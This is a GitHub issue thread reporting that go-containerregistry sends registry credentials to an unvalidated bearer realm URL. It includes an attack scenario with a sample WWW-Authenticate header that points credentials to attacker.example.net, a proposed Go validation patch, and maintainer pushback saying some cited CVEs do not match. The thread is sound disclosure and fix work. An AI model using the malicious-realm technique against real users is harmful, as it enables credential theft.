Credential leak via unvalidated WWW-Authenticate realm URL

[1seal]

Summary

When authenticating against a registry using the bearer token flow, go-containerregistry accepts the realm URL from the WWW-Authenticate response header and sends credentials to that realm host to obtain a token. The realm URL is not validated against the registry domain, allowing a malicious registry to redirect credentials to an attacker-controlled host.

Affected code

• pkg/v1/remote/transport/bearer.go:82-94 (fromChallenge accepts realm without validation)
• pkg/v1/remote/transport/bearer.go:315-320 (refreshOauth uses realm)
• pkg/v1/remote/transport/bearer.go:366-407 (refreshBasic sends credentials to realm host)

Attack scenario

1. Victim's tooling (cosign, crane, ko, etc.) connects to a malicious registry (via typosquatted image reference, compromised registry, or untrusted input in CI/CD)
2. Registry returns 401 with WWW-Authenticate: Bearer realm="https://attacker.example.net/token",service="registry"
3. go-containerregistry extracts the realm URL and sends Authorization: Basic <credentials> to attacker.example.net
4. Attacker captures registry credentials

This does not require network interception - the registry itself controls the realm value.

Precedent

CVE-2020-15157 (containerd) describes the same vulnerability class: credential leak via malicious WWW-Authenticate realm header. It was fixed and assigned a CVE with CVSS 6.1.

Ecosystem impact

go-containerregistry is used by:

• sigstore/cosign
• google/crane
• google/ko
• vmware-tanzu/kpack
• tektoncd/pipeline
• GoogleContainerTools/skaffold

All these tools inherit this vulnerability.

Suggested fix

Validate that the realm URL's domain matches the registry domain (or a documented trusted auth domain) before sending any credential-bearing request.

Minimal patch approach in fromChallenge:

ru, err := url.Parse(realm)
if err != nil {
    return nil, fmt.Errorf("invalid realm url: %w", err)
}
if ru.Scheme == "" || ru.Host == "" {
    return nil, fmt.Errorf("invalid realm url: missing scheme or host")
}
if !pr.Insecure && ru.Scheme != "https" {
    return nil, fmt.Errorf("invalid realm url scheme for secure registry")
}
// validate domain binding
regDomain := effectiveDomain(reg.RegistryStr())
realmDomain := effectiveDomain(ru.Hostname())
if regDomain != realmDomain {
    return nil, fmt.Errorf("realm domain mismatch")
}

Reproduction

A full PoC with canonical/control tests is available upon request.

Related

• CVE-2020-15157 (containerd)
• CVE-2024-35192 (trivy, uses go-containerregistry)
• CVE-2024-45340 (go GOAUTH credential leak)

[imjasonh]

IMO, typosquatted registry URLs are outside the scope of this library to mitigate. Likewise, a compromised formerly-legitimate registry that leaks its credentials.

• GHSA-742w-89gc-8m9c (containerd)

This is related to foreign layers, not www-authenticate and the general container image credential flow.

• GHSA-v5qx-579h-rr6f (go GOAUTH credential leak)

This is related to Go, and not container images at all.

I suspect this report was aided by AI and not fully understood by the reporter.

If there's a specific patch you'd like to propose, with tests, I am willing to review it, but I'm not a maintainer on the project at this time.

[1seal]

@imjasonh thanks for the reply. fyi this was already reviewed in Google OSS VRP (issue 477962457) and closed as “intended behavior / impractical.” i’m not trying to relitigate that decision here; i’m proposing a small defense‑in‑depth change in go-containerregistry.

the client treats the bearer realm URL as trusted, but it is attacker‑controlled input from the registry’s WWW-Authenticate header, which enables cross‑host credential exposure without MITM. a minimal fix would bind realm host to the registry host by default (and require https for secure registries), with an explicit opt‑in allowlist for cross‑host realms if needed.

i can open a PR with a minimal patch plus a regression test (canonical/control) that preserves existing flows unless a realm host mismatch occurs. any preference on where you’d like the validation to live or how you’d like the allowlist to be wired?

[imjasonh]

i can open a PR with a minimal patch plus a regression test (canonical/control) that preserves existing flows unless a realm host mismatch occurs. any preference on where you’d like the validation to live or how you’d like the allowlist to be wired?

That would be helpful, thanks.

If you open an incomplete PR with your questions in TODOs we can discuss more concretely there.

[1seal]

@imjasonh opened PR #2196 with the minimal realm validation + regression tests: #2196. it rejects cross-domain bearer realm hosts before sending any credentials, using effective-domain binding by default (so separate auth hosts like auth.docker.io still work). feedback welcome on exact-host vs domain binding and whether an explicit allowlist/option is preferred